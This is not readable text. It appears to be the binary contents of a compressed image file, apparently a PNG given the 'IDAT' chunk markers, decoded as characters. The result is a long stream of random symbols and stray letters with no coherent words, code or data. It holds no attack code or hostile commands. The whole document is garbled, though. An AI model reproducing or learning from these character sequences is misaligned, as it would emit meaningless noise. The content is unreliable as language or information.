fuhT p2N ʐ#wcu~Z6tUDCʸ] T&2̺®kJCBCL$%bn;foy>7Ӌ2l^<ûv†{^X~ 6&noo=>(i"ǏСC{UV!K` Xt`Yr%܅j޽b $\m^veܑF\ 71V!L9ʟ-k^pL-|qa7RfO3gїa-}bb+DQB ATEɤR&c˰mhl8I5.NppX(KN{[4T4 4\RY .+]zEYt?x)7ݐzo-{( ^;+KWlԕlN87*_ 杭J"2+)O1+Dcac8>EFfQ_<s_tOq Cc*ayl%8&F%Ȓ886~dKctxŗdfaI7 `(IuUWJ&caӶ̓SlMʑFl܄/T{QnDLxm`WswLg- Bȴ2}`=p eT|JiC{AœH5(r;crm]wuiK˒x|_⁆먺ޠf qA3xmVみ Ak.)(&aAǕV̐cCt]cRS1k ˍ:6% U%[Zr`(<25wl GDd`ҳsAL3o]Pkl`V@ӭ\ r"iԜG"u>:HmBī{O뾮,wgXtfҦM,RoMwǜֽY!,Xb00yL/1e4X*:avґ#JOw2*TO΃Wga3A幘)0hc#a>5iu![`%sJڭ[q@.C dځiVV&?# 74j+IH\^}G!ӷBf7NmaUqi E)CB$t*1эFm .&ܧߑm21 O!e,18**]mLI\3<1FcD4oֵM&u\īzZo0@ }댴ŸWs]qĵ]`2%=ŧz];?-,|u񝯥wK_Uv$ڰm.ƦudL{l1V) >)U|+$@HRccV2>ϧ7TpC .F:"$"ْV2-("\b+ffgј"Fhnڵ)klWܻ 2VDwR?4fLǰFa a/~@ 31K,~m^y#|om|w:DY׿&l {%`O BTOJ*blڴ y|ֺ|;cpJ _L Wv/5Ln 'ot~-}-. ֜d܅ IY1;Mt39UT!e=w.!KFTP[,-UU_ ;2, 8iۭWF4BqJ8p WĿ^"BābI*@͌!W>cbO#̳fu]{Qb5uÇOpRXd6gEEriGjj…/ģ1t}al`c'ƌzaus!Cf:ݫWqzպJV4DU'g0 c]%`QG:8fϞO#HfMSӆ< ە%b`Iaf{ch^.<9` .ŷ7ɞYQdpxˏܨ/!VU>FqPW\P˖-C%ѯ_?yckO>MѣBn˖-2'L&Hd2YQQ 6ZT'Gmn߾6))0;;!hhYE,Q \F6u 2!R0BW W(ڰaAȐ!CqJ2KKK IJ 4Cs~?P/pC-R*K aj|J^hk/=v%USsbƍ)+kc,KU1cbB]xm½lvs}NiV kd>Gsb`1ԋì!A:0਽CkWVMMD'9pJ€FEhhT]5&>{ՁdnvԴ%/nXQo9୭㳕0и춊{v?FU3fx==a ,ݑľ˱懒O?edւ C њx㍷z%}e}eGPvf&%EDkG0=3Ͽv1#܄  H jeڵO?q;i6n#A4J]xbNFFmt.˻dhF4.%e :cqnNbN}Fz]E;1l0iUڈXP&T(슑T̆S~u)+&3WeaN1t6bra-!~y }>'!<$]5#%ѷLLqx~sq]ܪ] ^сi-dK mM8@yܰ?Tę'Yǽ,h*((<{^y a/|'F(̆ ¦xb `d-(>9X#6 ;+`@z\'oyɓ1!vsV蛰/ G(kEއKJ<CS"32V2 %8K?g0(#0Z QLq`0Xnz;.4i:#??_ЛTve EyA$7|3*!9RspnFbOD ҄!(q;Π -Tb:l@ĉAiʔm]> vQ?\Р7ti1xGoU`fÂ{3 `ASYUo1%ӝʜGss[?@ၝV2jAA^*Ħ8^^aW{tа"&fTQ-/ #1}-CRx_( u2ž=;g{ '**!WZGt8o+2음Na;W‡;qaU|;g H݋I)#BB#'M1 WF2͇mH-C,"]h8e|4P^ۭF^^49$B@c@⋷L E\v\w KN||̟T7.3;_۹ưp-ݻօ6/)8M+b[l~j辂.i֚}-חdDJ)ȸ[l/UG O3#:b;P|w}dQùJa{JIWm+TImd0m vXAU*"Qa@l999d 4'xb/64g )%z= *])k?cL,>J=!'ç G$,tI|0$a{x )`zQY]cL*SHH_s0]3(N o p٬vLsN{U22i2Fu^2)W!ƉN;,P~}vk%/m Y`,s\.b/{p •g}vX c.3sLUAElUUU(G0.B @ꊖiVXw:"}\pˋ//7tv,7NccM+Vp#QI f@ư\$_Nd8`Sw۶m(51;K\1Q?(/Ohk.Zzc 5Ďik绢`Q3B PlUVomh쑜S@$jDdO墨Iq7f DJ<1$*=64Ϟmi|]2-oo]?.3㶧x::n zkێt μnzMUՍRvk8.\^-u΅T22 8q"R={'>jv1jAC"H\@0׀W@# 1--\:N6fLHn7v_M9ܐʑ FXg y1A[ +̺\ EHk Pǎ [cR* 3tPa0]Bx2r7Lᾀ~Gn 06/uZWx&- -mA:ڰʢ 6U. 7)~Iُr}`z̄ "v섡{?ڝ7)gR^TTܹkKX|#1j> FtړSD { MNJ_p̫US FF/hȰ5*r1_\ #p8ujGuSv^y2ϳU2YN"ԧHAC%4}~5+)6H!T\ǯ )A( ?^KKF5 Ӧz6y׈.~R{Il԰(:UUG6zٞ%%ii=kŦhߦ}cĻ,qR?=`ww42(8vw 芁tI $lWm+t`.8thtg|w굘_&65gufHQc'9dm/9aOм<^6C5H%4wIC{gW<0Ւ80uxm( o[s\߫+r(#a9vn5ɣGtz\nsPpUyT#JUzu_۽(Y`ݸzZ.?UX!CfL̴ڭwQgh{kjpo >#7%V)s{%^Ob]ǎܾak!vV`J$3nηp Q>lJ7O  2Ѳ6bRz_B \<ÝԈvXʓ'@W` tcwqJWxMq|5M6PNٶY=&!~e~:ztG8NR;u[i7OjڼS+9dcCBQs 7.1wmWCZҮS1k;+;KTjE$vogwg3D*mLdZҧL V eN^CNBcn  B! _WbDg?K0A9#Fhb|LQ:Oh/gG 7, wc2{I5Fd&!qgҷImܘ=wHmImBfBh**d_v!ue= 9dkpEZ '_²jl|SBX.#k@4+QIHX}08PTwdԨsPHj^ر=Ah}=FMd˗/;^zڵk4!:,Kw3N-c0UZ"̮Ѩnd D+DƦ}I$Ŏ&8sі"H5ku}8&MuM݉g=":zP*Č va/Xol1ycD1#C96:l! ]Zt3VlhFޮ#GRRD!TbԟLZH/KSSoJ[ʰ硌a|PgOdfvP>9rD ٫8lv_$b0ʐ)c~a28|Q b Bph_~yk֬҅bbU ]4bmbʕȐ(.'l[ˣtAQy„V~r |(hCCX.Ec%iEC ƌ?e!҈6v'vɒ&\="<]925z[R1< HBۼylP!j4|ZsDTv㘖Ͽ:~m B)/.Gi*zv- &64wU8Q5kM+Nڈam_hͪĩȜ=[{SuSN=;ll?<-hBa= "Ͱ`Pw}7Mc%>^3`:a 2GF?7|)yx 3s6G6CXP"=®!Hhl Ltl4"gyQx 8z @O/pd9Jlج,vYaAGs uda9zPvw"1ؔMzZB#%5ʿgޗ5Ksuc7fg3>ztmvȤ\g|IáWV;_a0MM|8u}1}|DZA6σ-͓6R˽64"ӊ ƜV.-""5̜/OlD<ӱҀL*,7@Ad<y =a @FH΀q@ /h]Q.a Gu8X()N&<2h`oL!J+^HPˀ`~_b4C>AyO(zl/h1.D2p *{T}˝sjQ_Z[ϙ󫴴"ͥVSޑEi?=_vpg B'h)˃'ޟ7ΪwM>q6n/TC*_ߴKz}ɤ1@CI;Rz+Ӿ U*MW~"_!K3fͲsu^_i@l|XKhnx#f/7,{#ʸX69E%2[{2k@6AQkږ4 .#Z7hF_OG~ᖷ((JKǥ oVMrqvfͿm':h^|C^*:+,K|7]uQhπF,="b{fΆ$W[ӷu6Ra9xwk @&;,f7@>t(Kڿyll*z /}}S8Űopߔ&5'jjk^?ł``oSkxl%J?ɘn\BSX=16%j|w[NBTьj87q ˣ^N>߿9E2͡KYUZ. r{><$/8nϞqeݾN(-݋@4+kآEK}Ht[S[.EGj&( sٰ͛oҕi?@r' ӶӇ:6x 8ZsH>rsl`j89-<wvZ w9\65ʘL͸/ŵ5qVؗ|¹o4qX?I޽q#78$8$h yX[!m *NHmw^k_{ h-- 55'vZ}ޠAS33«Է'l~:zltXm┡ `{F HqJ.]YnJ n5ꊴ4pTb$&_f2<2?-q5 _9%}l8뛎:p;b2)꣙u\ԷMZÔd?%n ŚtO.jGD7NPƍE 1+jëL&;/҂֗>~=fu %UDVη3>--FK5u?Ϝcx 7{tQĉF]2jm6vXFWT*1:a#Y0(ݳ#j1ſo}~ilimޜu6FmaoyL*D23gmns8Pv Yr%zlyՍ|3o_}W])d4+,?!v#8`&UT .\x1Fn/҈IJ/0.݌9mM8kݥ7,(G5ۮM~^P+kMB7s$؈v#DjtL6-=݃ ڲX1cpV$b\AequE%@UU8f"񧅧4NԂ5Nd{w,jg#v`Y {;׮"-8`{ǁ5 \/mƅ{ٲe6mڼy3zFBBhkXD]`s6 +>c Їq2>裠K">i1Bä үY?Jp)oIKDD8@3V#gLشJ-cS~vcGuwbE^R_vZN|́J ,so 7͗;2AC'zhhX{Y*HeO5r#"1?hc᫅'NزiTR:N*/Onw{ 2|=}UN:O 2=]d!3㈬E[D ΎM@N8v՗!:#ЁbaYYY ZJIf&$Bz׀ "uŮ6Wuuֵ. Rjh!2-^78N&3;%w;57G\a2!v 9)6d |SxMfp*Hf%pvZL݃hd8(.p!U  44D?%P1MZDK֣ xfV,Ky+q_#i]Sn(VO<;:E"Tw2qX||U8{E&UHR%2KD"Գd:uKN]^Y7t(-Hr^ WkT*74PNg>**uϚ5 ." : ԑX~=4ׂ$zrAtAa @oe .XQ /D={t&O  {;0_*8ӬYàND tQߧ'L^ޛͶ= Fe˴>PA )D\C3mڭdqLX;rWBZ}bQ2Pl1Xh3LJ+ (dV}y͜T)|_<@0ƭZjCSMtp;EA׃):uA*̛G.yPF,`$|B m{& .1,0as02hfʕp& Yۻ3<\X0qIrM޹$~>O1Y%3f9yvb \"чwEDfMq i.}Ju4&4_:ƟDf v9F Сt蠠+[ϵMsxj셚E+*ǍO^="}.9Ġxq⼄[d %%K~%jqèB / ?2ĉH((HS0`,={y qb 1ૂiՄh7m߾AˁYb" 5W -ah-Ro9VF]g02}Qi qќLv b[8/P ).L|*͆xA vinFFtVƨ[$%W@p@-@F s KaԲepoǐ2a`4i >׭ 11A!èQ0$ T2)a0Zpci`ogab9EBуX$ˡpaƠF.wfBT#P+1SH4qN~+i|u?g.Ng]:lc6]ӨhՕ8ĉrs=x%$%6z~jUwc70El:(ҙlO-Y[Y*+ Ԩќ QKo4қ{ZZ*DfuFV.ρMn~$ j5IvgJMBD2gzheQ?SNO>A x?r qGץfJ'cǐEJ 4aicq9y[or-@3Gc iH Q&55u…fss3a" Mq IDAT7|PpfNw"ADE%A~iժUp(H|{hj]…l6.'NtcYl:|\_;8*,Υ 4/z_X!eA"GAUUHTy/c.2nZBKfgވh}Xv*e15b Xi$/ݛ{{3RR:Yָ,)tج}[Ph *q9QqRRF衕hd0Á"pA3RC=%5^O#wg̘ugsj@!IP3 `J C3ihPP曢"b-[`A4DD Oh # #цs 1=@0iW0HYNrM76sY`"V-88\ŋ/XEBϮ;Nز[&G&u6DŽwC[AJkO>k&}6ٴh=9c"""ͽmje .ĿKa u'՞/F۹$t499oZqI !ιOo96fQ3"z2Lrf^&R'TP$`GPHD'b g)cu8B[6 Qǀ^"D*Q/mv D2gNN^Ly? JbˌJsQ/m0/M㼨mh-D-]X꤆%VfL3° 2Ri2JgecV٤ ƒ{(sI/%+C?v %pq}GVo¦'&$=xÑ#ӧ) -`z/3:]uoϏHFqge]ݦ4=Vl@6?/zKe2J$Sx4qp2X,^( =v, H8K77!QK nS2>F/*rep4IR!)(j%J8~~|Ȃ SdHR_IOq^hᅗ%xQ=& "^V~hwf۟!{MW|w3oEQ^9r1ނ&vAY-ޗ '>G$fD^N~yp{!Ks( 2 NI`%`;nHJX0t/>L&PHϙV҆'% |/QjlYw Bǘ¬_ܻdԔ?_'V " NUT3`0 yL3.n#Ro}Yf|laz Y"ܡL CL-s<~jPӹԶ!`\VbwňkG%#~pD2X̘`hwr{wS+#%Fz4 oW|InQ(Ttu!ȶ$RîN Vc٘t&/!TaSqv0y̰R?/ԷY(p-U54t/hڷ?͵p15nS.uk~a@86*Kۓv353>~CVVo޶uS]6JH4wIHHFk$*)ɺ3$T݋r   F ,y@0vAAzH@KVr"8Ք6K̛τcER,Tiʙt:yIG,x$8+$&?3GwJ4+.2 (8<6 WҊ8))L)_]"Guc@Sub^)oA$GF5d !B^WdT2P=H\/  )VU[f ?*Du(Zeoy7meD$â׫Z[dgo_޿ݝ;_>}ҥOG,bJ +~$$.Ƕo=;5=Ow5MLV@TJe &8DV_BK."a|FȔrG p }iּܺ;?cfl>~uQAd=~7*+1_ט[𠽠eevLzx{d  f-8pN,8(MQTGG49փ ]3>a#2Hk]s?CU7!cM "8HD2ږ!Unp[B_C 'ENzay`7l#!SO=q}!!:Y@|k֬;щ(lH@c'N9ƒ~a<o'% 6LR;LN8HA|uf((Ja l4ә?,;qbI+=%_^\ފJYYR8&27//1o xHxVۊ>r8}' \P(ns; 3OhMr{Spn',$M坝Fe.Nui$\q^|Ų2Dz_ @/Q[_={Ç LMQn(@06F :TP`)( |r!t3ϟw(u5! [yst}Q=x*9qCABd4uikt,o'5(LR1k{VsnثE>|[~96?WRl>ݼzQJ53H(d}UD]@(ȏ?;&̝;_~AAADcTٻw͛Q:\R& .%{6m4|DoDPzJ3Bx0M$pH6C cFn"[{U:MI'Fg;sW zO6=U% 3m$%8HHy :VOAo?Z*=jqϘD/ɒcxC] =T$W1ppX@ .ä XCxǹ%:;@%= ( F0'}arF5( \uĦ89C? ( 0P|-=Jg v0InQLF۔ts߾܄9s:zlM3--S-ݛ>ɞ-+'vfAS\oXp~*4ulF/n BW%mY.U>d< (ZR`JAAd  h1 c : b.\dywznLK5( \mPV/5g5Od2QWtV;2!Y=~7u4vHs\8u#6DΞ~JIf>HXU,K/?0L^ElR'^:{"@p/G"g.~S9|Ց83On{wȼzWlv":Q} "jIm2e+w\^ `扭'f6 ]6[W_2BaDV[o}s q v D@60}7{b2fi9\Z@n7-vv.ӶWʧdD+! +6P C%-bOJ5ȊBdx9EF%vO7 d7 UhϞ=o6_z饙ӡŁ rrr t -pp ܳd0 4XnC)`t?pW^tT}/E2Ukm{ YRnO i[j{c҄XKՀadևb@3$7k0w7lIs= ZTF"#P)|qD^5)%1R"IMrA2F|QQLvCRzykEHr557asa--צ%.9z4yĈPs&uA.JL& %|qY} ?/8:6쩯_Fv IIJ?gآ?eNʪjܘ67S@<ѯNeJl*YMV~a楤yķ p̘%n~jGS[)`yNuQ^66ljKI{ xR'JzY7BsͦON"F1UvTu)>sSVZ$7(HGq%e]rAC)Jߴ4ngl?q"FK7pjTp$ક!"3yheY`ɹmXB"q"f])d͏+L1XmpUEqCcZTcq d͈TU?ro7nybA+Nv!RdC?-7fBVkBYDL6K*S=;?$Ι(#OFCF%c;?%<9ih5-oOm&:o:3{(Bϛ7å$@I? tnԞ2ӘӢ}SߢdfjkZFeNBa@%Uŧ{`2#-LU.1㶂Y^F-cQ{^˻ W}so u\TAפ9Y1 ?mHf#ڕ}zHUnR(BqS=%dzo6;wpɿZX1Ix|aFSA%ׂUyѱ 8b޾:8ݝm'K ~I E@(KdДk{꽩!fNubUHy^AQ~$ ^޵q[^Ba5<{@si::neϗdќ֤=֛ V?,l::~{m|{3ROIwsQ˔Wv):Ϝs0+ !lӇM HR4W PP_K$%ĈcnpRzzȟ("#|6"#/ĥ9Q\͕{z2<1qVcrRty)S~; Mgg֭OM⦛q<ߴC1õRma|37e;ժQ(]17x,TL)y |1g[4J򈺬8yҤm7V΢LV+b[Vʘ\ -'RP&pR( @j+W,BĀ b\SF |Iut>iooJ/Z,d0֡t#~2wlU%ʚcHvwW&0XR)uYw^Dw'`ڻ<ż-&g<䉫 ÷B<RV<|l(ωLsO UJD"(c1 IDAT9q\WM^Y`"ݲmu`З9NLp[QJ';Chhq=mTYe7gKP h$7&^T0:eԢbZ_iUPL!XC1D02{4R]oIdPINE5 و/fD;D⍸Yqp7lgLhʹa ƥjvBanLv%&p{;P5 _CDSyza4ZpuF\gdO^^8 Vk0-ʯڳf5<^<  n-;wlf&_,}N֭DMT8qbXb=ZGaE+Lvvcb8l0"%?$`QZP,5=:~)M];NmH ً${~j۩Ϭ>l[[E]]&&fh]/MHH>qVikӾ{`d2k=XCuB,]5nH2$bi4o% Ǵɍ.2`_\RjUJَ梈`@B!=ztǭA@ Pr\&,zF}{Y{=2DPhϷl)&3 v>kRЂΠlZ@~-|.c/TosrB oۏl8.ňt 8DVpI7bĂٳr7&f2dMb u)m4I$_ A–c,ў~pיd#̪nLqHVsx5Q@8*鑤kK9&R+s=F@ 4i@QXؕ&1c.^l%6}Pt 7JgUZFP &D*4.j2#|[Ow/SȊvvpmm=x&%0?2Y K4Z֫ʛ5(yTSYf(^.ge=p n1Ҙrf[;pt\~1YrtѸ ԎLv!\ c3cӢ asx勿U[b#EE~S&{Sw> bPut)C-K2%@$`lF[ӳMa\Z4 jPAEWҲ,vR'幜h;Ԣ*g:,HIIYkּ|˥]UU;pO&35&#jZnS;',~ȼP쏉NEy4yi%8@?_o)l;E0A1X)ʓ*8C\c|@MV3FoۨO?h9y:6jUnjG:| Jt6Dp"L!)0qA'ZZv{L(c 5bv4;u!F$[kk/XXbb!Ql6x;0Q:RR-/JH`;NS/ܚ ZMI+5M{LǦH6۷&&^OI}!< 8塳 0J s )t~=Zv):$f@PE&SA6zuѴi#`x!P% hj_J F<އAapyRZvVӒJLa|:bGn{+Xhۇ->|ޔ))bB?cǺ_I; )'Z#],AW ..]]ar;KfNX Oh( ty:#L2?+_oUi;؝Pyp:P܌ r{(㢎#[*s1iiIVkWHvRRܽ.%( h4Q8ƭ΁݌JW*UEMJ1c\](,C{Kܘ4a$7m{=ЇWNC!SQi͚32xܻ_j;z`; o.rRrߍց#ٙlvD Jf҉3Y D!-PЍJV\|h~ϟ1A1fP)eXQ~]ŋ Y}#|$%?9p2ќD>b9du L@∾nlmr`ٲ03c]oZ{NA))tY\_>g ~Sz)R޽^0`\ä>W܄C3  }J"ƺ|gf;qGp#="vI*5::+Z3>jɝ_%1 % ;ܮDKL\C^U:U+:7MMH3 _s8};&P(bneo  N> I7UV6tFR[QQ߉ nZ`D ]ހqO-DI;`/\:+ Cv{OUlRֺebL_gjDâ[%tΚ{=jMk^o9q_֧YA@(sT.66 μSCDEGR(]0NX믟3@ KI:gPvB-JI ׭,^ D0#)1UB⬦YbR?B47 UuenH"CxAcI<8oh4D湷=Ljşef jG35QA ԘEJi_~>b mٌjPRS EMӢx)׿p(fS~+WJq (Ot_<٥Ӎ`$kt2 NYxxjk˭aa.G;SKXIm5yv,^˓#:bA/ʄɨ5a5`FIE3Z_82 R㔔 u3$:VCdD@`](|'-tgHj_bZvP1╂hNn4I3SR8kTXZ޴iė`a\.ŕ22 ] s)Pc.; (oy]}J@_>D'LsGy:h7-A7uTT;@8ry[kf@333a~͒Y}kT? Ƴ;`΍fDMG73έOsؼX{}ޔHd^ґϗ3$xa&1f25aؕPEaFJJ 70w3ctq>AԩxKSwCGLITF$?,(4(kNk5zh_'pFtiBѻnHJdRjVeFZԻRfE}HTz;gGR9> pc7nGݢ! 7Gd87IL2{]XZ]VKK A#1 ^8F9@ED04{O7[sպ_$'8ەtGCM>zrhZZ줐0#IHv3~u+C(,QBx]F%#lI6OVVrRZ f>PU?6V|,"XĀpѼh~.U* (XA%V?Xxfd!IlDĕ`s ]S'DinK<8mFy!' ˗NWEE|UWߚqE[MNWF?vݐI9Oojzcv+37gC3Jh´"Ue!:qge&b+"#]h6 LoVH P%ԲSigGpbquIGN<41]g6=8VqnlCcY$<]4K+ YSr.,-xy ۿIJZ8Ln}+ܗ0JA1(tn"FzWzM[6oAgw]z_ɢ4B w5~$o%ZWP4ff_~9:2,ouz|\wA Z^=C9 wWo3}"> -\aPitT)v0ǎmf8SM 2zZl47hrOH#/pu Oraߞhi5Sx}0ɻmo׺׏=$2}y-UL<'<թE Ϛ K Ϙhѣ*NX׍ Az wT_ Mk+8C.eBl޼W^IB@?::٧X0c7uU0z`Cݴ߮psDUW%rL7r|4sv!>j=ۚ8$1 V ^Addd;Ph>dȨ nj{ ) 2)g]I>ooYٷ(R#'i.Ğj5KC }#?F~B~ZH ‡ޱcdz>tW+V̜93++ `8āTZ_iBQXzPđ0H%:鴘\L fSw WQS[[z36"::ytR*vW̼#2H_OTztwd:A"r K$Ao ڶtV| YIwO?Zf5-Xx29˳VBJ_ k8ސ:<5&ܬin>ˮDgA_nm7PF*z.mXWb1t8h0$ILLLXpd0P1jMڊ̃ɜ_]gT[  Sqh|>dܜJ,9,ћ_{VSaVRF0"g9>aD,D:U(W~hԢ_Qv"E̛w@0ST%q f \vڡ1WR'Ig Pr†eSA@ * 8Ƅf *t?* kS%.]Рx߹fzśsdJլV ȅ.,fuu[ Y$YTg(H^Ʊ}v-Μ9c4q_X?r-P hڛok… Bp~)/7o_ xyO㏟yXx HQ>H?WWWoې!=~}jkk׿>#G|ׁQF+**233~(JKK/{=h};oh`oƍ^} /4Ҹk[zG\4v'^=b=F~$lɾ)R66(+ F-4iz>JD\EI,FxzA8=}lz^#l$EQ&ՙ%ʚ$Tj۰a` ~ut|W\r֭IHHpN%|Uf8o߾b8P@ \0*"/A:0YfAO?a ^z @sÅv'O<:b䈩9S sWfQ[$KzdB 3-P JR8ˀhWꄨPd1Hˌ9X=bq \a\`ЉJs'{V#ɍ ٳ; wA v۩;f"WV*2tmm$&.gҠ4k ?)7c,ܨ cYCъO.qK&4JdW"|ՓM ~d0by6!+PZhV\2j(=zIdɒ:h` phM6͙3xe8&0\UAO?t`?J')“h@OsN<|8z )>S@n馱c~fϞWsL$L0aժU`n:j()YDO>LE(_B^0w8B@rzY[ɭqE|nC;' T^༬ .7.D.cCf Il'vZ*˄-MI#Q?!K)3dfL$z6Q_i9yQalA+Y+5yuP+~xs+O-n B=a&_|,nĊ -RRR*(( no]tн,1LBV0AA:(fꫯ`6l'C<&Gga>|8abp~ x(x4xؤjk^[HP0!ڶ&tf˜ xlHR[+l8} 鬩S>HYaĈPػD7wh8?&娬4Q4X< emm)lv#ἄw?_HhL:sxi4^y"V(.\8|x<3pvA uvv" \7]JJJ!I5`rhqBbjx$أ> Eŋ4A<d~G lyӟ*۲e LH^(;Cq-AǖSì9GmRen2y"+`s[WW+;:M[7qJ67OIMzS-ZzTYfX7jR aҦ!@Ԅ(d3/{ K lfB@#>V*`Άa,aWKf9p (Kc Vf v>SߝhwU'QQ G51%/믿6#g_#ps=</?? '~ԩS*|2epcP}Xe IDATRUVVAPBP  /ɓCS%** =J_~!'9cƌ6:G]v>spq`PÀ7FU~(:V*36uy;_&a̝{?Zd @QO?2?@:6m'ϵj Fr ׆QdQK WHRga~c1(՞IN&ks!(9tb1p g8Փ`L*l,sIݐ=Jg)[2{Ovpu j;: ķ~~u-[)0QaC(ƍ|Yt)vSXA=,HpK,P_Kh\]o98,9~8\m۶ NpϕS!fa'ߞ2PLj!)v-U*{JN΁3/SRcWy9ϗ`$C&5@8~\8F( I%Ґ :G#<$1qVPNn\8./B=T XقDM<2< ux40 :' 4 !;0]K-v+`ZAR)paTZ'VN7nYWq&/b;l?_(tg:-6{Tɤ`%LC1&ܣhA?f_[IâtD;iyV烲rx'߿oaB%+zSvWGZ:~ˎӧmF#"+沇VLK8v&H*G'Y pr eKuIFsm({:77.0f1!h~p+N[X͚~ݸV+s9p}䆁3/˜-z<{ojۃ|''݄Wso뇦p0#2}Kg*C{OiiD|&>tF泺 |[JAЎu,/] #ԩ^P.w }>=iJzH~jYRX8>#Hd6lڿ] ~0+WsyuSn3^?+hj9{mFvLL!ӝ(ߤZ,>O̊Mc%dsF4HmcF! ܷ$z%@HNtl\kBZBB(9ѣ4 e"uyIo(sme- ]ZX8^8vp]& A]gCrd;jB9 + Rt6L]lfĺLƙ?:pL-i>= Dn##㽦i7̱ !(&7'F\y"<Li5kvo6,}Ll*y(f2uE7B\ae83Hw* &TS2vi s`57;tkIsiryH(ހ k׾i@K.JP32Wk:5ivH:| 7Br-e7y"?BA_eʿ;jkgq #u/n.(x۹ǧ62T}`d澾/3<2j\VE)_@2_QI cQ!'A"R.AY"]~lD _ v̬4.bbA3Zs DOtV|n$/7BJՎ TUFdfI5◊EC#h$+M; Mϋcb=:}&LKOe 7h3EECdGO(~B-uS:(/*c: e=K:6L.]$jۻ<*x֭NoPq.|F<<8pfB|E9HrgÎf )1i[P.v3Y嬄&^{;WŶ ^t aT&x-2l͇Nx::9:modZsIRo֪~0=)CͿ=Vd.+2|EZ0c\dzpHlX:9?kU/]s R;hn[Q%֏䒯>;F?p Vesc(/1ÇS83R{As,dΝCZ:15>^_coR  ~ki Hn*ʘmi1wW!Ռtv쒒O޴3ff!,Rַ0X6jtǾJ| qw}js=nYS7A`fBTV Bvd-ќc2=!O;Y, ~ Lw jSHw,R{b6{b6;U&#G4mmW⦧{K_yp2سgQ喈N8IJ(j(_$%k׮:t(dcq ;>;2!;0 .X*_k!^RAx$D]bPݻwzq&OM< TVVlإ(M҂x^Gs}rHBf[;K~^hT&ui& Iᨋiˮ2mmX\SQKVD$,>> :PގIg- dyjWL&p{|t xYfPeL q&&$kW/(Z:g(7t4}z8Jf`\zSUla$Єi-gJCK  ǸH슿tIB>{]b1xC8ᓁ2.\@1gwٺu+nD7={Ç1wҤIȝ_[[Ο?sxAEB O曁H9g7ߠ(z0T VAB4^x@9 &5k@gC`"jfH&0i9rl6tA'ti'2)+9HܛZ (:A-Dɭ}&\̾뮏C>9G~=ѨOLz $& 6OmfIJ5O],x+?"; uOk񧹰pRdazzH%6V./ͥ%2imBc2s׬>q7&:;ccX =lsNٹs:Kӱ3}JK/Cel (@?2{P9g6o u *q^π5G  ;A1WеTUU}}92B2Q/EbЃGRJЖPjn U!%KĠa04з≠J@O'GtVc[v*zWX;=gEH8I3x-;#pz7 UXXDTTƦxASh'(*2F+ <wlT ɝM6>Qv=@5]&i6ˁc%Xĥ })imZ1ܞ 99uݴtSf̈!+\Su#@[/O|{hc &+ENvyeݮNf=vWx.>4:rݻEvv%O,h\ֳZʄZ^R'3zjd/sޖ`mo3,Ns܂8$}>:13ȿ_h:Fc+ LpqPahMcŖi-aq^8BIKGs ţ +1iP!KT]><wzDz0 Q$6pdDt "z!OEXP.(;BV8%B{9HQ HjJh041WOeN8bFnƿ_1B8|BF䥃dinEظ(C\biq]߱Pcoo7p ]2Ә̐^$%kxSӆ>fP(=}t3ȧ6nݵj4ΙEkR)Ԧű: u{a!&F=%p%lc葑':PP= H8/a0F/|\kL& ⑨_c&LIꫯ0>4YG=C?{Y!$JK{oZU:kwz۷{OmmκF@dd^cM_<Ɯ}&ݶ!./ \gSm6^= vC'xMdh ЏQF= @KkQMnb&\W\gLy=QQ)\d&/a2S"|ABoȅf[=tY]D[bcoŌ97 Hu^[D)A=V;mMqV!GYh*UqL$r֔hѤ e">2T"?6 ?GTs={.nM줭#}[k" O?M6-RPNз1 \ep!Zpp#c8 (g G^xgQ~=X\._~|ט=H ZH~p:T@+̜9ȣ4pH"fxSYL@SêGt)-\wߡ-8#{>@8X^s:E##c嫽 ^[!_Ej/fyp* C7XIm 1l0z|޾/suTz3"凔ˏf ._6aʔ^Pqi@ئ2DŽ1XX򸬸ȤHEE8uMڿ9s)+} ;w 0xCCC̙ ) ^ a2cǎq8wm5 1P8Jɱta ldtA䠇 :, X&<nOpDNA*aDk'NJNNFh5'k upv8pnki8EeOlTxe*^AqA9 8.I zGJI_d8_FEU;԰hZZHjj6ZN`_bLnCU3:hWmy{˴Ʋ_ѯ1:(c/޽nw鞫KӄյrV k vMؒƏ'&& j &nm Z$O'[~ψp/L.mgG ]Abt@ &<Ϲ^\w_$$iQdњv(8>ΩQRYWD,aY趜y/;& ż4'`/ (klɓ7j9ݸ%GKof {*4(.Qt5HO`$kSg=bN.ބ>Vo2M0;eH'Ep-L*!75 k5J!CFk ޡHK%RFJeQ``BPP;ODZ\84@|/pNlEoƹʚkɿNY9ԳD#ҍA ª.Zrm^5[QNWfT M8/ -5N>3"J[՛H !A~$ ]BӬX7 q``PW9YbbnޣQגגZu^pʬ N?PRymZt0irĉnTfqlYTKYɞJ]Za}hVc~d@JP׼;ŵl2Bn9{vDž 1l'HņluÇ#VŷۮSv>,pV@\XgK2%k^:&$(a;כ5g3x8jvM_TqK]^iS#m!EKF.mkt 7|,32b\*psB#Țk%)')%#+}%(c=nT D5 )`4 ]8K#LDW+zT8{@2Ą0Pf쉡qUJ'?l3>[f]Le?_bRcQyVÇVȼrN,iQdpO(m-rz?!"3ڢt9mR7k4E[=c QXpY ={}J@҂p$^we .uRF >=yC(o"o nՆE3uA!-΂3h@k VU񧯜n˳=xdC<˓ 7_N㺘,єWUrql,o}㞷-Iqܾjk?LM}pXJ S3;Rar|AQ$HrqgwS#l ^Jx=2(F#qz=D]#dP8g<_"I!qC&Z{<dd )8t7=vނU:#(A ޼`vINUUVYt+ .?vםdzwuFFNwcTU@vO] 7^ |oX|rlhuVv?dG8!^2޴ 87yrq pD55""vWF;+f@וl AڬFA^ׯ #]II lݺ[-bw YP5~L@`As /_uq-yRETsU cy~vr?Q[G9z{tzӛd/zΎfUgv2s0])+iAA T)5vՆ:_IR-j8i:cv]n۷̰BI7ʺ3E~)C/z5/[(H~{n?k #SOgɒ%(ѭ\P K 1D8b şQ<՟d~7]>Ek>? jMrVYFShʹ{iQZSZrשɽ#jJuX(64Ғ׃J(hdnOeX{yp4+KXy@#F ۪? 0̱gϞ؅ ZKݐ@EEƍK xs:uhi@P5G=!hC#"DDrn9@Hc0h &gE1ѶN\q3w].zx;iN¥TԼc} M--϶L KmwsInSӤ -`Mf; PKB@y5:5LAR-JBT*M%0 0g<^Cp ep>ҁ31o&q>%,/(//uȻ@;Bd&Lп`k>n''%DKT$^,S")2mx |΃s̀( ..k4df~צd$tdh@5kn]FcKPœ\ɖ$fTD@#)j( Ft`Ÿ-EMMKee3lX[C{^:<#42Za;!Z\XhP(N-=x!6=Lצȑ#GEHD3$t0 IKKoh(* @/cΧdWO |r 